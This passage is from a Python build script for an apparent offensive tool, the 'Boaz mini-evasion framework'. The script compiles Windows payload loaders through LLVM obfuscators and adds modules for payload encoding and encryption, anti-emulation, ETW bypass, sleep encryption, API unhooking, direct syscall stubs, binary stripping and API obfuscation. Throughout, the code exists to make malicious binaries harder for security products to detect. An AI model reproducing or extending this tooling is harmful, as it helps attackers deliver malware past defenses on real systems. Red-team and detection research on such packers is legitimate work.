'-L./clang_test_include', '-I./c++/', '-I./c++/mingw32/'])
elif compiler == "akira":
# Default LLVM options for Akira
# default_akira_options = ['-irobf-indbr', '-irobf-icall', '-irobf-indgv', '-irobf-cse', '-irobf-cff']
# akira_options = mllvm_options if mllvm_options else default_akira_options
# compile_command = ['./akira_built/bin/clang++', '-target', 'x86_64-w64-mingw32', loader_path, '-o', output_name, '-v', '-L/usr/lib/gcc/x86_64-w64-mingw32/12-win32', '-L./clang_test_include', '-I./c++/', '-I./c++/mingw32/']
# for option in akira_options:
# compile_command.extend(['-mllvm', option])
default_akira_options = ['-irobf-indbr', '-irobf-icall', '-irobf-indgv', '-irobf-cse', '-irobf-cff']
akira_options = mllvm_options if mllvm_options else default_akira_options
compile_command = ['./akira_built/bin/clang++', '-I.', '-I./converter', '-I./evader', '-target', 'x86_64-w64-mingw32', '-I.', '-I./converter', '-I./evader', loader_path]
if compile_as_dll:
compile_command.append('-shared')
compile_command.append('-lntdll')
output_name = output_name.replace('.exe', '.dll')
elif compile_as_cpl:
compile_command.append('-shared')
output_name = output_name.replace('.exe', '.cpl')
compile_command.extend(['-o', output_name, '-v', f'-L{mingw_dir}',
'-L./clang_test_include', '-I./c++/', '-I./c++/mingw32/'])
for option in akira_options:
compile_command.extend(['-mllvm', option])
if anti_emulation:
compile_command.extend(['./evader/anti_emu.c', '-lws2_32', '-lpsapi'])
if etw:
compile_command.append('./evader/etw_pass.c')
## TODO: Add support for other encoding types
if encoding == 'uuid':
compile_command.append('./converter/uuid_converter.c')
elif encoding == 'xor':
compile_command.append('./converter/xor_converter.c')
elif encoding == 'mac':
compile_command.append('./converter/mac_converter.c')
elif encoding == 'ipv4':
compile_command.append('./converter/ipv4_converter.c')
elif encoding == 'base45':
compile_command.append('./converter/base45_converter.c')
elif encoding == 'base64':
compile_command.append('./converter/base64_converter.c')
elif encoding == 'base58':
compile_command.append('./converter/base58_converter.c')
elif encoding == 'aes':
compile_command.append('./converter/aes_converter.c')
elif encoding == 'chacha':
compile_command.append('./converter/chacha_converter.c')
elif encoding == 'aes2':
compile_command.append('./converter/aes2_converter.c')
elif encoding == 'ascon':
compile_command.append('./converter/ascon_converter.c')
if dream:
compile_command.append('./evader/sleep_encrypt.c')
if god_speed:
compile_command.append('./evader/god_speed.c')
if sleep_flag:
compile_command.append('./evader/sweet_sleep.c')
if insert_junk_api_calls:
compile_command.append('./evader/normal_api.c')
if api_unhooking:
compile_command.append('./evader/api_untangle.c')
compile_command.append('-static-libgcc')
compile_command.append('-static-libstdc++')
compile_command.append('-lole32')
if loader_number == 33:
compile_command.append('./syscall.c')
compile_command.append('assembly.o')
if loader_number == 1 or 39 or 40 or 41:
compile_command.append('assembly.o')
compile_command.append('-luuid')
if loader_number == 37 or 38 or 48 or 49 or 51 or 52 or 56:
compile_command.append('./evader/pebutils.c')
try:
subprocess.run(compile_command, check=True)
### suppress output:
# subprocess.run(compile_command, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print(f"\033[95m[+] Congratulations!\033[0m The packed binary has been successfully generated: \033[91m{output_name}\033[0m")
except subprocess.CalledProcessError as e:
print(f"[-] Compilation failed: {e}")
def compile_with_syswhisper(loader_path, output_name, syswhisper_option, sleep_flag, anti_emulation, insert_junk_api_calls, compiler, api_unhooking, god_speed=False, encoding=None, dream=None, etw=False):
# Create output directory if it doesn't exist
output_dir = os.path.dirname(output_name)
if not os.path.exists(output_dir):
os.makedirs(output_dir)
common_sources = ['./classic_stubs/syscalls.c', './classic_stubs/syscallsstubs.std.x64.s']
# Additional source files based on flags
additional_sources = []
if anti_emulation:
additional_sources.extend(['./evader/anti_emu.c', '-lws2_32', '-lpsapi', '-lole32'])
if etw:
additional_sources.append('./evader/etw_pass.c')
## TODO: Add support for other encoding types
if encoding:
if encoding == 'uuid':
additional_sources.append('./converter/uuid_converter.c')
elif encoding == 'xor':
additional_sources.append('./converter/xor_converter.c')
elif encoding == 'mac':
additional_sources.append('./converter/mac_converter.c')
elif encoding == 'ipv4':
additional_sources.append('./converter/ipv4_converter.c') ### Add IPV6 converter in the future
elif encoding == 'base45':
additional_sources.append('./converter/base45_converter.c')
elif encoding == 'base64':
additional_sources.append('./converter/base64_converter.c')
elif encoding == 'base58':
additional_sources.append('./converter/base58_converter.c')
elif encoding == 'aes':
additional_sources.append('./converter/aes_converter.c')
elif encoding == 'chacha':
additional_sources.append('./converter/chacha_converter.c')
elif encoding == 'aes2':
additional_sources.append('./converter/aes2_converter.c')
elif encoding == 'ascon':
additional_sources.append('./converter/ascon_converter.c')
elif encoding == 'rc4':
additional_sources.append('./converter/rc4_converter.c')
if dream:
additional_sources.append('./evader/sleep_encrypt.c')
if god_speed:
additional_sources.append('./evader/god_speed.c')
if sleep_flag:
additional_sources.append('./evader/sweet_sleep.c')
if insert_junk_api_calls:
additional_sources.append('./evader/normal_api.c')
if api_unhooking:
additional_sources.append('./evader/api_untangle.c')
additional_sources.append('-static-libgcc')
additional_sources.append('-static-libstdc++')
if compiler == "akira":
print("Compiling with Akira...")
compile_command = ["./akira_built/bin/clang++", '-I.', '-I./converter', '-I./evader', "-D", "nullptr=NULL", "-mllvm", "-irobf-indbr", "-mllvm", "-irobf-icall",
"-mllvm", "-irobf-indgv", "-mllvm", "-irobf-cse", "-mllvm", "-irobf-cff", "-target", "x86_64-w64-mingw32",
loader_path, "./classic_stubs/syscalls.c", "./classic_stubs/syscallsstubs.std.x64.s", "-o", output_name, "-v",
f"-L{mingw_dir}", "-L./clang_test_include", "-I./c++/", "-I./c++/mingw32/"] + additional_sources
subprocess.run(compile_command, check=True)
elif compiler == "pluto":
# Pluto-specific compilation command
compile_command = ["./llvm_obfuscator_pluto/bin/clang++", '-I.', '-I./converter', '-I./evader', "-fms-extensions", "-D", "nullptr=NULL", "-O3", "-flto", "-fuse-ld=lld",
"-mllvm", "-passes=mba,sub,idc,bcf,fla,gle", "-Xlinker", "-mllvm", "-Xlinker", "-passes=hlw,idc",
"-target", "x86_64-w64-mingw32", loader_path, "./classic_stubs/syscalls.c", "./classic_stubs/syscallsstubs.std.x64.s", "-o", output_name, "-v",
f"-L{mingw_dir}", "-L./clang_test_include", "-I./c++/", "-I./c++/mingw32/"] + additional_sources
subprocess.run(compile_command, check=True)
elif syswhisper_option == 1:
# Random syscall jumps compilation
print("Compiling with random syscall jumps.....")
compile_command = ['x86_64-w64-mingw32-g++', '-I.', '-I./converter', '-I./evader', loader_path, './classic_stubs/syscalls.c', './classic_stubs/syscallsstubs.rnd.x64.s', '-DRANDSYSCALL', '-Wall'] + additional_sources + ['-o', 'temp.exe']
strip_command = ['x86_64-w64-mingw32-strip', '-s', 'temp.exe', '-o', output_name]
subprocess.run(compile_command, check=True)
subprocess.run(strip_command, check=True)
cleanup_command = ['rm', '-rf', 'temp.exe']
subprocess.run(cleanup_command, check=True)
elif syswhisper_option == 2:
# Compiling with MingW and NASM requires a two-step process
# Find all .o files in the current directory
object_files = glob.glob('*.o')
# First, compile C files and syscalls.c with additional sources
mingw_compile_command = ['x86_64-w64-mingw32-g++', '-I.', '-I./converter', '-I./evader', '-m64', '-c', loader_path, './classic_stubs/syscalls.c'] + ['-Wall', '-shared']
subprocess.run(mingw_compile_command, check=True)
print("MingW command executed successfully")
# NASM compilation for the syscall stubs
nasm_command = ['nasm', '-I.', '-I./converter', '-I./evader', '-f', 'win64', '-o', 'syscallsstubs.std.x64.o', './classic_stubs/syscallsstubs.std.x64.nasm']
subprocess.run(nasm_command, check=True)
print("NASM command executed successfully")
# Final linking of all objects to create the executable
# final_link_command = ['x86_64-w64-mingw32-g++', '*.o', '-o', 'temp.exe'] + additional_sources
final_link_command = ['x86_64-w64-mingw32-g++', '-I.', '-I./converter', '-I./evader'] + object_files + ['-o', 'temp.exe'] + additional_sources
subprocess.run(final_link_command, check=True)
print("Final link command executed successfully")
# Stripping the executable
strip_command = ['x86_64-w64-mingw32-strip', '-s', 'temp.exe', '-o', output_name]
subprocess.run(strip_command, check=True)
print("Strip command executed successfully")
# Cleanup temporary files
cleanup_command = ['rm', '-rf', 'temp.exe'] + object_files
subprocess.run(cleanup_command, check=True)
else:
raise ValueError("Invalid SysWhisper option provided.")
# Success message
print(f"\033[95m[+] Congratulations!\033[0m The packed binary has been successfully generated with SysWhisper integration: \033[91m{output_name}\033[0m")
def strip_binary(binary_path):
"""
Strips all symbols from the binary to reduce its size and potentially increase its stealth.
Args:
binary_path (str): Path to the compiled binary to be stripped.
"""
try:
subprocess.run(['strip', '--strip-all', binary_path], check=True)
print(f"\033[92m[+] Successfully stripped the binary: {binary_path} \033[0m")
except subprocess.CalledProcessError as e:
print(f"[-] Failed to strip the binary {binary_path}: {e}")
def add_watermark(output_file_path):
watermark_command = f"python3 Watermarker.py {output_file_path} -s boaz,boaz"
subprocess.run(watermark_command, shell=True, check=True, stdout=subprocess.DEVNULL)
### Add function to run commands 'python3 obfuscate/update_config.py' and then run 'wine obfuscate/obf_api.exe ~/alice_evasion/Bob-and-Alice/alice_notepad.exe output_file obfuscate/config.ini'
# def obfuscate_with_api(output_file_path):
# # Update the config.ini file with the new output file path
# update_config_command = "python3 obfuscate/update_config.py"
# subprocess.run(update_config_command, shell=True, check=True, stdout=subprocess.DEVNULL)
# # Run the obfuscation tool with the updated config.ini file
# obfuscate_command = f"wine obfuscate/obf_api.exe {output_file_path} {output_file_path} obfuscate/config.ini"
# subprocess.run(obfuscate_command, shell=True, check=True, stdout=subprocess.DEVNULL)
def obfuscate_with_api(output_file_path):
update_config_command = "python3 obfuscate/update_config.py"
subprocess.run(update_config_command, shell=True, check=True, stdout=subprocess.DEVNULL)
# Create a temporary output file path
temp_output_file_path = output_file_path + ".temp"
# Run the obfuscation tool with the updated config.ini file using the temporary file
obfuscate_command = f"wine obfuscate/obf_api.exe {output_file_path} {temp_output_file_path} obfuscate/config.ini"
subprocess.run(obfuscate_command, shell=True, check=True, stdout=subprocess.DEVNULL)
shutil.move(temp_output_file_path, output_file_path)
print(f"\033[92m[+] Successfully obfuscated the binary API: {output_file_path} \033[0m")
# Ensure the temp file is deleted if it exists
if os.path.exists(temp_output_file_path):
os.remove(temp_output_file_path)
def cleanup_files(*file_paths):
"""Deletes specified files or dirs to clean up."""
for file_path in file_paths:
try:
if os.path.isfile(file_path):
os.remove(file_path)
# print(f"Deleted temporary file: {file_path}")
elif os.path.isdir(file_path):
shutil.rmtree(file_path)
# print(f"Deleted directory: {file_path}")
except OSError as e:
print(f"Error deleting temporary file {file_path}: {e}")
print(f"File may not exists.")
def main():
# ANSI escape code for cyan text (approximation of Cambridge blue)
start_color_cyan = "\033[0;36m"
# ANSI escape code for magenta text (purple)
start_color_magenta = "\033[0;35m"
# ANSI reset code to revert to default terminal color
reset_color = "\033[0m"
print(start_color_cyan + """
╭━━╮╱╱╱╱╱╱╱╱╱╱╱╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━━━━╮╱╱╱╱╭╮
┃╭╮┃╱╱╱╱╱╱╱╱╱╱╱┃╭━━╯╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱┃╭╮╭╮┃╱╱╱╱┃┃
┃╰╯╰┳━━┳━━┳━━━╮┃╰━━┳╮╭┳━━┳━━┳┳━━┳━╮╱╰╯┃┃┣┻━┳━━┫┃
┃╭━╮┃╭╮┃╭╮┣━━┃┃┃╭━━┫╰╯┃╭╮┃━━╋┫╭╮┃╭╮╮╱╱┃┃┃╭╮┃╭╮┃┃
┃╰━╯┃╰╯┃╭╮┃┃━━┫┃╰━━╋╮╭┫╭╮┣━━┃┃╰╯┃┃┃┃╱╱┃┃┃╰╯┃╰╯┃╰╮
╰━━━┻━━┻╯╰┻━━━╯╰━━━╯╰╯╰╯╰┻━━┻┻━━┻╯╰╯╱╱╰╯╰━━┻━━┻━╯
.@@@@@@&%#%
.@@@@@@@%#(
#@@@@@@@&#((
@@@@@@@@@&&%%%
%#%%@@@@%(/*, ..
%**,,,,*****. #%##((////(.
.//***//*/ ,%%%##(((((((#(
.%&%%/,,,**(#%&, */(##########%.
&@@@&&%(// *%&@# ********/%%%%%
&@@@&%%&%(/ *%&@&,. *//////#&&&&#
.@@@&&%##&%#(/ /&&&&*. .* ***/(#&&&#
@@@@&&%%%%&&%%%&&* (( .( /***. .,,*
*%&&&&&%#/, .//,(((/(%#/(.**,.*,,,*,
/**,,/(((#&&&%, *%*******.
,//*/%(((%&(// ....,/**//.
(*((((/////////////.
.,*//**,
""" + reset_color)
print(start_color_magenta + "Boaz mini-evasion framework is starting...\n" + reset_color)